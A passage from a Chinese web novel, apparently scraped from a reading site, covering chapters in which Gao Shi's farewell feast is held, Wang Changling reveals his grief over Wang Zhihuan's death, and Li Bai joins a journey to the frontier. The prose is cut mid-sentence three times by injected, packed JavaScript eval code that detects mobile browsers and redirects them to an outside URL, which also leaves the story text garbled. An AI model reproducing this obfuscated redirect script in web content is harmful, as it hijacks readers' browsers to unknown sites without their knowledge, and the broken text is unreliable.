他努力让语调轻松些:“太白,你可知张相为何偏偏选在今日发这条帖子?” 面对这突然的转折,李白茫然地摇摇头:“这几日先是送玉生、十九回蜀,接着又应付宫里这些糟心事,还要去玉真观……诗牌上消息繁杂,我都没顾上细看。莫非有什么说法?” 高适顺势道:“嗯,事情就出在你暂离诗坛这数日。那殷璠的‘河岳英灵站’,你是知道的,经《大唐好诗歌》一役,声名更盛,其人隐逸,然一言评出,常被视为诗坛定鼎之作,分量之重,无人能及。至于其他跟风评论之流,或是格局不足,或是眼力有瑕,多被讥为‘东施效颦’,难以为继。” 说到这,高适的语气带上了笑意:“可偏在此时,忽地冒出个‘杜陵野客’,此人在自家诗牌主页悄然开设了个‘青莲剑歌’专栏,对太白你所有公开诗作,从《蜀道难》到《清平调》,甚至你那首看似漫不经心的《静夜思》,都做了极为细致的点评!” “这点评还不是循规蹈矩地套章法、论出处,倒更像是……一位痴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那标题颇长:《驳时人谓赏诗为评点及站外论诗即东施效颦论》。显然是被一些质疑他模仿殷璠“不自量力”甚至讥讽他“东施效颦”的言论给惹急了,带着不小的火气。 然而正文点开后,却只有寥寥八个字: 但有诗心,皆可论诗。 这简短的八个字,宣战似的砸在两人面前。 “此人……脾气还倔得很!”高适咂摸了一下,忍不住笑道,“你看下面,不少人求他点评自己的诗,他竟一条也不回复,只专注于你这‘青莲剑歌’。” 李白听着,只当是诗坛上又一件趣闻轶事,未曾往深处想,但心中对这个磊落又带着点固执的“杜陵野客”,印象更深了几分。 两人对着诗牌上的评点与诗作,天南海北又谈论许久。窗外夜色如墨,寒意更深,困意也如潮水般涌上。 就在意识即将模糊之际,高适含混不清地嘟囔了一句: “……昌龄兄……快到了……” 李白迷糊着问:“谁?” “……江宁丞……王少伯……”高适的声音越来越低,“来信说……他要来长安……还说……要出塞……” “出塞?”李白强撑起一丝精神,“为何出塞?他来长安作甚?” “信里……没细说……”高适的声音几不可闻,头一歪,沉沉睡着了。 “少伯要来?去边塞?”李白脑中闪过这个模糊的信息,王昌龄?那个创立瀚海诗社、诗风雄浑、名动天下的“七绝圣手”?他为何重又奔赴边塞,停驻长安又是为何? 但困倦很快袭来,他靠在硬实的床板上,重重心事吞没意识。 杨国忠的贪婪,高力士可能的不悦,李林甫悬顶的利刃,张九龄沉甸甸的期许与无形的护佑,那面不知该如何守护的“天下文人”之旗,还有这个突然闯入他诗牌世界的、孤傲而诗心灼灼的杜陵野客…… 长安城的风,似乎又要转向了。 26. 欲穷千里目 长安的初夏已然临至,空气中洋溢着槐花的淡香和渐盛的热意。向来幽静的诗社巷,今日却因瀚海诗社的一场盛事而喧嚣起来。 消息早已传开:高副社正式接到了哥舒翰大帅的任命书,将远赴河西,成为幕府掌书记。 这对于一个寒门士子而言,无疑是鲤鱼跃过龙门的喜事,对于其他汇集在诗社巷的那些渴望建功立业的诗人墨客,同样是一桩值得庆贺的大事。前来道喜兼道别的人络绎不绝,小小的瀚海诗社一时宾客盈门,人声鼎沸。 “高副社!恭喜啊!” “达夫兄!此去河西,前途无量!” “高兄,定要常寄诗作回来!” 道贺声一浪高过一浪,几乎要把瀚海诗社并不宽敞的厅堂撑破。 高适身着半新不旧的便袍,此刻脸上挂着混合了兴奋与些许局促的笑容。他抱拳四方不停回礼,语调也带着抑制不住的喜悦:“同喜,同喜!谬赞,谬赞了!” “哈哈!达夫!” 一声清朗的笑破开喧嚷,李白排开众人挤了进来。锦袍在拥挤中挤出一丝皱褶,他浑不在意,只是用力拍在高适肩上,眼中神采飞扬。 他的喜悦是真的。昔日在诗社方寸之间畅谈“殊途同归,活出自我”的豪言仿佛犹在耳畔,如今这位初识于微时的挚友,终于凭借胸中韬略得了用武之地,他焉能不喜? 然而,喜悦之中又涌动着难以言说的失落与孤独。玉生走了,十九也走了,如今连最知心、最能为他剖开政治迷雾的高三十五也要远赴边庭。长安,这个他曾视为理想之地的城池,知己却如夏夜萤火般,点亮又消散。 他按下心头的忧思,笑着挤到高适身边,朗声道:“达夫此去,前程似锦!合该去醉仙楼设宴,为你好好饯行!” 高适被拍得身子一晃,连忙摆手:“太白兄美意心领。然则兄知我,素不喜张扬。诗社自家兄弟,在这方寸之地小酌几杯,说说心里话,便是最好。” “在社里吃饯行饭?太简省了吧?好歹是瀚海的脸面!”有人质疑。 “就是!醉仙楼的厨子可不是摆设!” “高副社莫不是心疼李供奉的钱囊?” 哄笑与争论四起,嗡嗡地搅成一团。李白挑挑眉,刚想再激高适几句,门口骤然响起一声高调,清越得竟压下了满堂嘈杂: “今日好生热闹!我来的可巧?” 满堂目光齐刷刷投向门口。只见一道身着深黑色宽袖长袍的身影正踱步而入,身量单薄,面上带着风尘却难掩那份从容气度。 “王社长?!” “是江宁的昌龄先生来了!” “少伯兄?你来的可巧!” 来人正是“七绝圣手”、瀚海诗社的真正创办者——王昌龄!他身后还跟着几位年轻的学子,面庞青涩,眼中充满好奇与敬畏。 原本拥挤的小院瞬间自觉分开一条通路,高适大喜过望,急忙快步迎上前,引他至主位: “少伯兄!你何时到的长安?怎不提前知会一声,也好让我出城相迎!”那份惊喜,溢于言表。 王昌龄朗声一笑,也不多客套,径自走向主位,将手中一直提着的一个古朴陶坛“咚”一声放在主座的案几上。 “刚从哥舒翰大帅的行文处确认了任命,岂有不来之理?特备美酒一坛,恭贺高掌书记扶摇直上!” 这番话说得干脆敞亮,算是给今日的饯行定下了调子——这饯行宴,就在诗社。院中众人,脸上都多了几分松弛的笑意。 王昌龄环顾四周,目光炯炯:“某在江宁任职,诗社多赖三十五与诸位同仁支撑,劳苦功高。今日既是庆贺三十五高升,也是借此薄酒,谢过诸位平素对瀚海的照拂。我若不来,岂不失礼于天下?来的都是客,莫讲虚礼!” 说罢,他又在心中估量了一下在场的人数,转头吩咐随行的一位年长学生:“去,寻附近像样的馆子,点些拿手的硬菜来,莫要吝啬。” 学生领命而去,他转而将目光投向满院众人,语气洒脱:“诸位也别愣着了,本社地方小,怕委屈了诸位。烦劳回去搬些桌椅家什来,咱们瀚海,今日便做一回海,专纳诸位这道百川!”这话引得满堂哄笑,气氛愈加热烈。 邻社曲江诗社的一位青年听罢转身就走,见同行的年长者往巷口方向走,一把拽住他衣袖:“哎?王社长要我们回诗社搬桌椅!诗社在那边!” 年长的社员瞪他一眼,压低声音斥道:“朽木!亏得你也是个读书人!这点人情世故都瞧不分明?人家王社长摆席,也抬举咱们给高适兄饯行,更是抬举咱们几家平素的情分!哪有只扛张桌子空手就去的道理?添菜者,添彩也!不添点彩头,心里能踏实?” 年轻者恍然大悟,一拍额头:“哎呀呀!原来如此!走,先去馆子!” 两人匆匆走出诗社巷口,果见其他几个诗社的人也正往不远处的食肆奔去。彼此在食肆门口撞见,先是一愣,随即心照不宣地大笑起来,互相拱拱手,赶紧挤进去挑拣菜品。 众人纷纷出去搬桌椅、张罗,原本拥挤的院子一时倒显得安静了些。王昌龄这才得暇看向李白,那目光带着打量、欣赏,也有一种难以名状的疏离。他拱手作揖道: “想来这位便是李供奉吧?久仰。” 言谈举止,礼数周全,无可挑剔。 李白忙起身回礼,心头也涌起激赏:“王江宁当面!太白亦是慕名久矣。昔年边塞二王城头斗诗,《出塞》《凉州词》双绝齐鸣,千载难逢之盛事,恨未得亲临!”他言语坦荡,带着由衷的向往。 王昌龄脸上掠过一丝难以捕捉的感慨,旋即化作平静的笑意:“往事如烟,旧曲难再提。供奉请。” 他伸手指向自己下首左侧的位置,又对身后还站着的几个年轻学生道:“尔等自行到后院,东面是高书记的房间,莫扰他收拾行李,其余屋室皆可暂歇,仔细清扫即可。” 高适也跟着坐下,看着王昌龄与李白这“见礼如仪”的场景,心中的疑惑悄然滋生。他深知王昌龄性情,以往通信谈及李白诗才,王昌龄言辞间尽是倾慕,恨不能一见,引为知己。 可今日真见了,这态度虽无失礼之处,却显得过于克制,甚至带着隔膜。 他目光落在王昌龄身上那件并无任何装饰纹样的黑袍上,袍子宽大,衬得他身形越发清瘦。脸庞似乎也凹陷了些,少了些过往的意气风发。 江宁事务竟繁重至此?还是路途劳顿?又或者……高适回想起之前王昌龄那“青海长云”诗牌主页的沉寂——无诗,无评。这背后,莫非…… 他打定主意,待宴席稍歇,定要寻机仔细问问。 “少伯兄,太白听闻您此番是欲再赴边塞?不知所为何往?前次听达夫提及时,我心中就萦绕此问。”李白性子爽直,没留意气氛微妙,径自发问。 王昌龄端起案上高适刚刚为他斟上的茶水,呷了一口,神色坦然地答道:“哦,在江宁闲暇,办了个学堂,教子弟们吟诗作对,于科举干谒之道也略作指点。这些后生,偏生爱这边塞诗。我也是教得多了才发觉,光在课堂里纸上谈兵,讲什么大漠孤烟、铁马秋风,终究是空的。写不出那份真筋骨。” 他语气平静,却透着不容置疑的决心:“既是讲边塞诗,不如亲赴边关。不亲踏黄沙戈壁,不亲嗅金戈铁锈气,如何写得出那‘孤城遥望玉门关’的壮阔苍凉?所以索性带了他们几个自江宁出发,乘船至汴州,走陆路过洛阳、潼关,才到了长安。既为采买进边所需的物资,亦是为三十五送行。”他再次看向高适,眼神真诚。 高适心头一热,再次拱手:“多谢少伯兄挂念!兄台此去边塞,路线可曾规划妥帖?” “自然。”王昌龄从袖中取出一张略显磨损的牛皮舆图,摊在案上指点起来,“长安西行,秦州是关陇要冲,不可不去。再往西北,渭源、临洮,沿洮水而上,直抵凉州……当年与季凌斗酒斗诗之地。” 他手指顺着舆图向下画了一道线:“其后,往东南折返,经洪池岭、河州、洮州……此线路,大抵与我第一次远赴边塞之途相仿。” 李白与高适对这“初次出塞”心向往之,正欲细问,门口传来呼喊:“劳驾!搭把手!”却是抬着一张巨大的木桌的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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高适心中也升起层层疑云。那异样的眼神,那平静的语调,这背后,绝不止是挚友赠字这么简单。 然而,不待他细究,诗社外的空地上,长条案、方桌、矮几,乃至平日里搁置杂物的板架,都被七拼八凑地连接起来,竟然在狭小的空间里摆出一个巨大的“回”字轮廓。 各诗社的人,连同瀚海本社年轻热血的社员们,扛着形状各异、颜色深浅不一的坐具,有的甚至还夹着自己的宝贝酒壶、瓦罐,呼啦啦地将本就拥挤的前厅挤得更满。 “桌子来啦!” “椅子放这边!” “酒碗!酒碗别忘啦!” “让一让!菜也齐了!” 一阵浓烈杂沓的饭菜香气扑来,那几个被支出去“添彩”的社员也提着或端着大小各异的食盒和粗陶盘盏回来了。其中不乏整只熟羊、时令鲜蔬甚至长安特有的“素烧鹅”。热闹的气氛重新涌入院内。 王昌龄深吸一口气,将所有的沉重都压回了肺腑深处,转过身,脸上已恢复了温和从容的社长气度,甚至挂上了一抹符合场合的笑意。他拍了拍手,招呼众人: “来来来!酒菜已备!诸位好友,入席——!”他率先举起了刚刚斟满的酒碗。 饯行的宴席就此开始。碗盏交错,诗词唱和的热潮很快淹没了小小的瀚海诗社,欢声笑语几乎要冲破屋顶。 李白亦是兴致高昂,与周围相熟或不甚相熟的诗人畅谈,酒到杯干,吟诵着豪迈的诗句,惹来阵阵喝彩。 高适坐在王昌龄身旁,看着这一切,听着李白恣意飞扬的声音,心头却沉甸甸的。他举起酒杯,挨个向各社来道贺的同好回敬,脸上带着得体的笑容,目光却总有意无意地飘向主位旁那个落寞的黑影。 王昌龄的确在笑,笑得随和,甚至还和弟子们说了几句玩笑话。但他独酌时,眼神会不自觉飘向院墙高处——那“唯敬诗骨”几个大字在摇曳的灯烛下格外刺眼。 而那黑色宽袍下的身影,透着一股无形的孤寂与疲惫。尤其当他举杯畅饮时,宽大的袖口滑落,露出的手腕竟也可见嶙峋瘦骨。 饯别的喧嚣渐浓,众人捧起杯盏,笑逐颜开。而那袍袖下筋骨硬朗的脊梁,如同一根过于紧绷的弓弦,在豪放的祝酒词间隙无声震颤。 27. 更上一层楼 饯行饭的热闹在杯盘狼藉中渐渐退潮。其他诗社的成员们打着饱嗝,带着酒意,三三两两告辞而去,巷子里飘散着零散的告别和笑声。 高适和几个年轻学生收拾狼藉的碗碟桌椅,杯盏碰撞声叮当作响。王昌龄则坐在院中那方已经收拾干净的木桌旁,李白正兴致勃勃地与他闲谈。 说是闲谈,多是李白大谈剑术、酒趣或是天南海北的奇闻,王昌龄多数时候只是静静听着,偶尔简短地应和两句“嗯”“原来如此”“太白博闻”,语调平稳,却透着一股难以言说的隔膜感。 高适一边归拢着空酒壶,眼角的余光却始终留意着那两人,心里疑窦丛生:这番模样,远非少伯兄在通信中所流露的热切神交之态。 莫非是嫌太白酒后话多?不对!他清晰地记得他第一次与王昌龄结识,在蓟门漫天风雪的小酒馆里,自己早已醉眼朦胧,吐露着远赴蓟门的壮志与惶恐。少伯兄耐心听他倾诉半宿,不仅毫无嫌弃,反倒细心安慰开解。 难道是刚才宴席上太白哪句无心之语触动了少伯兄的逆鳞?这更不可能了!少伯兄向来心胸开阔,断不是斤斤计较之人,而太白……太白就是那样一颗赤子之心,直来直去,言语间从无弯弯绕绕的坏心思。 他正皱着眉苦思冥想试图拼凑一个合理的解释,一个年长些的学生步履匆匆地走了过来,俯身在王昌龄耳边低声说了几句话。王昌龄只是微微颔首,并未立即起身。 坐在对面的李白听了个真切,一拍脑门,“哎呀”了一声站起身来:“瞧我这记性!全是我自己闹的糊涂!” 他朝王、高二人匆匆拱手:“对不住,对不住,片刻就来!”话音未落,人已像一阵风似的卷向了后院。 留下王昌龄和高适面面相觑。高适疑惑地问:“少伯兄,他这是?” 王昌龄脸上不见喜怒,缓缓道:“无妨。说是后院那间屋里,裴五他们收拾时发现些衣服和随身的物件,分不清是谁留下的,不敢擅动。” 高适恍然大悟,随即也有些无奈地摇头。李白自从卢吴二位返回蜀中后,越发觉得常乐坊的小院孤清。他天性爱热闹,总想找人说说话,干脆就把瀚海诗社当成了半个家,时常留宿。 显然,他那“谪仙人”的行头,也无声无息地侵占了诗社的空间。 不多时,李白抱着一个不算大的布包袱走了出来,脸上带着些歉意:“少伯兄见笑,是我糊涂,把些杂物暂存于此,倒给学生们添麻烦了。” 他走到王、高二人面前,明亮的眼神望向王昌龄,笑容真挚热切,不待王昌龄开口,自己兀自说了起来,声音因为某种莫名的激越和急促略微发颤: “少伯兄!我……我想和你同去边塞!” 没头没尾的一句话炸开在寂静的空气里。 王昌龄有些未回过神来,微微怔住,目光凝在李白脸上,一时未答。 李白见对方不置可否,心头方才那股热气一撞,意识到自己冒失了,连忙解释,语速又急又快: “太白素来神往边塞壮阔,恨不能亲历金戈烽火!今日得见少伯兄风采,更是……更是倾慕万分,只觉心意相通!同行路上,我绝不敢拖累!若有驱使之处,太白亦当尽力而为!只……恳请少伯兄允我同行一程!” 他双手紧张地交握了一下,目光紧紧抓住王昌龄的脸,急切而期盼。 王昌龄的目光越过李白的肩头,望向远处西天残余的那抹橙红。沉默在夜色里沉淀。过了片刻,他才收回目光,声音听不出波澜: “太白有此心意……昌龄感念。只是此事干系行程、人数,尚需斟酌,且容我思量几日,届时于诗牌上告知于你。” 他没有拒绝,却也未应允,留下一个微妙的回旋余地。末了,他又补了一句,更像是对自己说的:“无论是与否,总让你有所预备。” 李白心头一松,知道此事已有几分指望,顿时连连作揖道:“多谢少伯兄!多谢!太白静候佳音!”他欢天喜地地抓起布包,告辞而去,脚步都轻快了许多。 脚步声远去,诗社正堂里,高适立在还未归置好的桌椅旁,王昌龄依旧坐在原位置上饮茶,几个学生正要帮忙收拾这剩下的残局。 高适上前制止了他们,低声说:“一路辛苦,你们且去歇息,这里交给我。正巧,我有些私己话要对你们夫子言讲。” 学生们知趣地退了出去。院内彻底安静下来,只有檐角滴落的一点残漏在敲打着青石,声音格外清晰。 “少伯兄……”高适的声音打破了这沉重的寂静,带着小心翼翼的探寻,“人都走了,小弟斗胆……有几句话想问。” 王昌龄没有作声,只是微微抬了下手,示意他说下去。 高适深吸一口气:“恕小弟直言……为何许久不见‘青海长云’在诗牌上发表一字一句?连我们社内的评诗也偃旗息鼓?” 他的目光落在那身黑袍上。宾客散去,黑袍下的躯体不必再紧绷如弦,此刻更显瘦削疲弱。烛火跳跃的光晕落在上面,却好像被那黑暗吞噬。 “我记得,上次见你,还是在蓟门……那时你穿的,可是件白袍,袍上……用银线绣有梅花……意气风发啊。” 王昌龄听罢放下了茶盏,理了理自己的袍子,但似乎并不想回答高适的问题,或者说,不急于回答。 高适犹豫了一下,还是决定问出心头最大那个结:“更令小弟费解的是,少伯兄你……对太白兄,似乎有些……疏离?小弟愚钝,实在想不出太白兄何处有所得罪?其中可有什么误会?” 王昌龄依旧没有立刻回答。 他的目光落在腰间。屋里的灯火不够亮,高适只隐约看清他腰间别着一物。王昌龄伸出手,缓缓地解下那个物件,轻轻将这物件放在青灰色的冰凉桌案上。 那是一把折扇。扇骨似乎是细磨过的象牙,但看起来比象牙硬挺。素白扇面在昏黄的烛火下泛着沉甸甸的哑光。 “认得么?” 王昌龄抬眼看向高适,声音低下去,旋即又将目光黏在那扇子上。 电光火石间,蓟北风雪呼啸着撞进高适脑中。那个破败小酒馆的温暖炉火旁,对座除了一身风霜却眉目清朗的王昌龄,旁边还有一个气质孤高的身影。看他一个人形单影只,王昌龄主动邀他入座,还热情地向他介绍身边人正是名震天下的王之涣。 身影晃动间,高适注意到了王昌龄腰间的折扇。那扇子显得那么不合时宜,却又透着一种奇特的风骨。 因为初识,高适不便多问,倒是王昌龄察觉出了他对扇子的注意,颇有些得意地称赞这是季凌兄的手笔,被旁边之人反噎一句“聒噪”。 “季凌……他……”高适的声音干涩得发紧,最坏的那个猜想在心中抑制不住地升腾。 “遗物了。” 三个字,轻如羽毛,重若千钧。 高适只觉得脑中嗡的一声,如遭雷击。那最不愿去细想、却又一直盘桓心头的、最糟糕的猜测,被这轻飘飘又沉甸甸的三个字,狠狠砸实了!尽管他此前已根据王昌龄的种种异常有了猜测,此刻亲耳证实,依然让他浑身冰冷。 王昌龄闭了一下眼,再睁开时,眼中水光浮动,不敢再触碰桌面那把静躺的折扇。 “《好诗歌》开赛之前……我……我在江宁府,和其他所有人一样……满心欢喜地期待着……期待着诗坛又一盛事。那时……那时,我还在诗牌上,和季凌聊这件事……” 他的语速越来越急,压抑许久的苦楚伴随着哽咽一并涌出:“我说了很多,季凌他……他回得很少……字句又短又淡……我只道他还是和以前一样高深莫测……就是那样……根本没……根本没往心里去……” “但是……”王昌龄的气息陡然急促起来,胸口剧烈起伏,“大赛!大赛当天!他……他忽然……突然主动给我发了一条消息!从前……从前都是我给他发的……” 王昌龄猛地吸了一口气,眼神空洞地望着虚空中的某个点, “他说——‘某先去夜台占座,再与君斗诗’。” 夜台……阴间! 高适听得浑身汗毛倒竖!这句话,这哪里是寻常谈诗论句?这分明是……诀别!是遗言! “某先去夜台占座,再与君斗诗……” 王昌龄喃喃地重复着,声音越来越低,越来越破碎,最后化作了不成声的哽咽。他瘦削的肩膀剧烈地抖动起来,整个身体因为压抑着巨大的悲恸而不住发颤。冰凉的泪水如同断了线的珠子,从深陷的眼窝中滚落,狠狠砸在那件毫无光泽的黑袍上。 “我……我当时……急得……发了疯一样地问他!‘季凌!何出此言?!’‘季凌兄!你怎了?!’‘速回我!’” 王昌龄的声音在哭腔中拔高又陡然坠落,充满了绝望的嘶哑。 “可是……石沉大海……再也没有一个字……一个字回来!” “然后……青莲剑歌登顶的消息……漫天铺地……震动整个帝国……何等荣耀……何等风光……可我……我却在朱雀门最下面,最下面滚动的词条里……看到一条……极短……极快就消失了的……” 他猛地抬起头,泪眼中满是刻骨的痛楚,盯着高适:“你看到了吗,三十五?你当时看到了吗?那条词条!它说—— #云间鹳雀坠入诗冢#!” 云间鹳雀!那是王之涣用了大半生的诗牌名,独一无二! 而“坠入诗冢”——那冰冷的词条背后,是官府的销户记录,是诗牌系统的死亡通告,意味着一个诗魂的永久封存,一个名字的沉寂与消散。 “他……他就这么走了……”王昌龄再也无法抑制,声音破碎,埋下头,压抑的抽泣随着肩头的耸动溢出来,“前一天还在……还在和我谈笑……规划着要看比赛……转眼间……阴阳永隔……那赛事再盛大……与我何干……与我何干啊……” 高适听着,只觉得胸口窒闷得厉害,一句话也说不出来。他默默地递给王昌龄一块干净的帕子,又起身倒了杯温水,小心地放在他手边。 长久沉寂的诗牌主页,突如其来的清减与憔悴,那一身彻底吞噬掉所有华光色彩的宽大黑袍……所有的谜团,在这弥漫开的寂静里都有了残酷的答案。 错不在李白,他甚至对此一无所知。错亦不在眼前这个被黑暗攥住了心的王昌龄。错在,造化弄人——让一个人的生命沉入最深的寂灭,又同时让另一个人的光芒冲上云霄。 王昌龄接过帕子,却没有立刻擦泪。他任由泪水肆意流淌,这迟来的宣泄终于稍稍缓解了心口压着的巨石。过了好半晌,他才用微颤的手端起那杯温水,啜了一口,缓了一缓。 “先前你问我……为何我对太白……终究亲热不起来。”王昌龄的声音依旧沙哑,却平复了一些,带着深深的疲惫。 “我花了很久……很久很久的时间,才让日子看起来能过下去。等回过头,再去试着看那场赛事时……我承认,李白的才华,惊天动地,令人神往。所以我在与你通信时,说想引他为知己……那句话,是我当时真心的想法,是真的。” 王昌龄抬眸看向高适,目光坦然而无奈:“可当我真的站在他面前……当我真的看到这位在我故友命陨当日、翩然飘临诗坛的‘谪仙人’……三十五……” 他痛苦地摇头:“我心里……还是会难以自抑地觉得……有些东西被玷污了……又或者,是被无情地盖过去了?是别扭……是难以言说的……刺痛?” “更何况,我此番西行……除了带学生们去求真求知,还有一条……便是想循着当年我与季凌……一起走过的路……再走一遍。算是……对那个再也无法斗诗的故人……一点私心的……祭奠。” 高适的心弦被狠狠拨动了一下。这份沉重复杂的缅怀之旅,偏偏撞上了李白充满活力、直抒胸臆的向往加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275822|182407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入。这命运的残酷交织,将王昌龄推入了无解的困境。 “原来如此……”高适的声音低沉而充满理解,“造化弄人,让这大悲与大喜,落在一天一地。只苦了少伯兄你……” 但想到那头还在焦急等待回复的李白,他又小心翼翼地问道:“那么……关于太白兄方才所请……少伯兄心中,究竟作何打算?” 纵然艰难,但此问,终究要有个答案。 王昌龄默默收起扇子,把目光投向沉沉的夜色深处,没有回答。 高适斟酌着词句:“太白……剑术不凡。此行一路向西,靠近陇右……近来吐蕃哨骑甚为不靖。” 他看到王昌龄眉头倏地一蹙,便知这话切中了要害,王昌龄可以不在意自身安危,却无法不顾及身后那些文弱学子的安全。 他接着低声道:“再者……太白目下在长安,亦不算安稳。高力士视其为眼中钉,杨国忠那边……恨意亦深。更不妙的是,李相已使人暗中攀扯他贪污,蛛丝马迹怕是已在圣人心里埋下嫌隙。” 他声音压得更低,带着洞悉的冷静:“此时离京,暂避锋芒……未尝不是一着活棋。” 话到此处,王昌龄一直绷紧的侧脸线条终是略微松动。当他听到李白处境之险,眼中那份混合着叹息与遥远疏离的情绪被一抹深重的了然打破——原来那位光芒万丈、被长安万千仰望的谪仙人,云端之下的阴影竟也如此浓重? 他忽然觉得,自己若因沉溺于自身伤痛而拒绝,或许对那个同样在命运浪潮中挣扎、只是姿态不同的人而言,太不公平了。 沉默片刻后,那微蹙的眉心缓缓松开。 “也罢……若因这命运拨弄……便对新识抱此成见……季凌泉下有知,怕真要笑我王昌龄气量狭小,更不知要……如何刻薄讽刺了。”他声音低沉,像是刚从深渊里挣扎上岸。 心头一块石头落地。高适紧绷的下颌也松弛了几分。 “不过,达夫。”王昌龄话锋一转,重拾起那份作为社长的沉静条理,“你即将赴河西幕府,长安瀚海诗社这副担子……总得有人稳稳接住。” 提及诗社事务,他身上那份沉郁仿佛暂退了几分,眼中重新透出熟悉的、属于一个领路者的思索光芒。 “岑二十七呢?如今何处?我记得当年是你将他引荐于我的。我观其才思与性情,皆堪大用,故让他与你同为副社,打理庶务。那几年他在长安备考,又将社中诸事打理得颇有章程……他自你接手后,便去了高仙芝将军幕府做掌书记……如今如何了?近来……似无声息?” 高适经此一问,也不由得皱了眉:“确是如此。日常通信从未断绝,可近来……近数月竟杳无音信,社内玉枢传信亦无回应,甚是古怪。” 王昌龄沉吟片刻,掏出自己的诗牌:“试试。” 进入瀚海星垂玉枢,社员名录中最顶层的“青海长云”忽的亮起,闪着金光。 【青海长云(王昌龄)】:岑副社何在?社务交割在即,盼速复。 【燕歌行客(高适)】:二十七在否?安否? 名录第三位的“飞雪平沙”瞬间亮起,流霞般的光影跳动着。 【飞雪平沙(岑参)】:安!安!达夫兄!少伯先生!巧了巧了!在下已入京畿地界,星夜兼程,不日必至诗社门前! 【飞雪平沙(岑参)】:高书记!贺喜贺喜!往昔社中并肩,今朝幕府同僚,弟往后便抱定兄之袍袖矣! 字字句句闪烁着不羁的活力。 王昌龄目光扫过诗牌上行云流水的字迹,唇角线条终于化开一道带着点无奈的笑意。高适更是直接摇了摇头,那表情仿佛在说:岑二十七,果不其然! 王昌龄指尖在牌面上快速拂过,字迹显现。 【青海长云(王昌龄)】:甚好。社中诸务,归后便由你担起。达夫启程在即,万勿懈怠。今夜吾暂借你西厢安歇。勿念。 【飞雪平沙(岑参)】:啊呀?!社长玉体亲临?!还要霸占社员住所?!等我回来,定要重起炉灶!连院里那棵老桃树也换新枝!正好给我那水月戏做新背景! 高适被岑参和王昌龄的对白逗笑,听岑参说到“水月戏”,忍不住在诗牌上划动“发话”: 【燕歌行客(高适)】:岑二十七!你方才所言水月戏究竟何意?此等术法耗材靡费,向来为国礼或《好诗歌》此类大赛专用,你如何能开得? 牌面上浮现出一连串跳动着得意光芒的字迹,宛如对方正眉飞色舞: 【飞雪平沙(岑参)】:哎哟我的高书记!光顾着奔前程找哥舒大帅讨差事了吧?嘉州那边匠作坊新搞出来的矿石提纯法!水月戏消耗大减!如今非独国礼可享,早已飞入百姓家了!当然规矩还是有……戏主非得是进士出身,开镜前还得向天枢台写个条陈报备……可也足够风靡了! 高适与王昌龄再对视一眼,这次是真真切切看到了彼此眼中的惊异。原来数月沉寂,竟是为了这等新奇物事! 【燕歌行客(高适)】:莫说其他!这些时日的杳无音讯,总不会全耗在这水月戏之上? 【飞雪平沙(岑参)】:这个嘛……嘿,倒不是……我在考采风台……追镝使。追镝使!懂不懂?边塞耳目!哎不说了不说了,太困了太困了,某去会周公也! “飞雪平沙”顿时暗淡下去,显然诗牌那头之人已然反扣诗牌倒下睡了。 高适和王昌龄看着迅速黯淡下去的玉牌牌面,脸上残余的那点惊愕最终化为一丝哭笑不得的无奈。高适摇头,轻笑着将诗牌收回袖中:“岑参岑参……高仙芝幕府掌书记做得好端端的,偏生还惦记着什么……追镝使?” 他看向王昌龄,仿佛在寻求理解。 “倒确是他这性子,一刻也闲不得,唯恐天地间的热闹不够他掺一脚!”王昌龄默然片刻,如此说着,脸上那点无可奈何的浅笑终是更深了些许。 28. 赵客缦胡缨 三日后卯时,长安西,延平门。 城西十里长亭浸在一片湿漉漉的晨霭之中。槐花的清甜已淡,夜露未晞的青草气息混杂着泥土的味道,在微凉的空气里浮动。 王昌龄仍是一身墨染般的深黑袍服,如孤峭的山石,沉静地立在路边。他身后跟着几位年轻的学生,虽因旅途将至而显雀跃,亦被夫子的沉穆所感,只低语着检查行囊,屏息以待。 不多时,一个矫健的身影破开晨雾,几乎是小跑着欢快地朝这边移动。来人身着胜雪白袍,袍摆随着步履翻飞,上面精致的青色莲花暗纹在稀薄的晨光下若隐若现,宛若踏云而来,为这灰暗的场景注入了一抹鲜明的亮色——正是李白。 “让少伯兄久候了!太白来迟!”李白的声音清朗依旧,带着毫不掩饰的欣悦。 王昌龄微微颔首,依照礼节周全地作揖,目光落在李白那一身醒目的白袍上,眼神微微一动,掠过一丝极为复杂的情绪。 “太白这身……甚是轩朗。教某想起开元十五年,亦是在此地裁了身白袍。” 李白闻言,眼中亮起纯粹的好奇与赞叹,脱口问道:“那可巧,我这正是临行前新做的,清清爽爽,行路正好。少伯既也有白袍,今日为何不穿来?以兄之风仪,穿白袍拓影起来,定然玉树临风,倾倒诗牌万千!” 王昌龄嘴角牵起的弧度转瞬即逝。他低头扯了扯自己身上宽大旧损的黑袍袖口,语调依旧平稳无波:“黑袍……耐脏些,洗洗也就是了,省心。”他下意识地避开了“拓影”二字带来的任何联想。 李白并未深究这细微的异样,只觉得王社长果然人如其诗,质朴深沉。他点头,表示理解。 “太白此行,诸般物什可备妥帖了?”王昌龄的目光扫过李白和他自身携带的行囊,转移着话题。 李白拍了拍自己肩背的行囊,又拍了拍腰侧斜挎着的佩剑,坦然道:“按兄所言,不敢懈怠。干粮饮水俱全,针线火石等实用家什也带了,还有营州带回的金疮药、防虫散。哦,尤其带了它——” 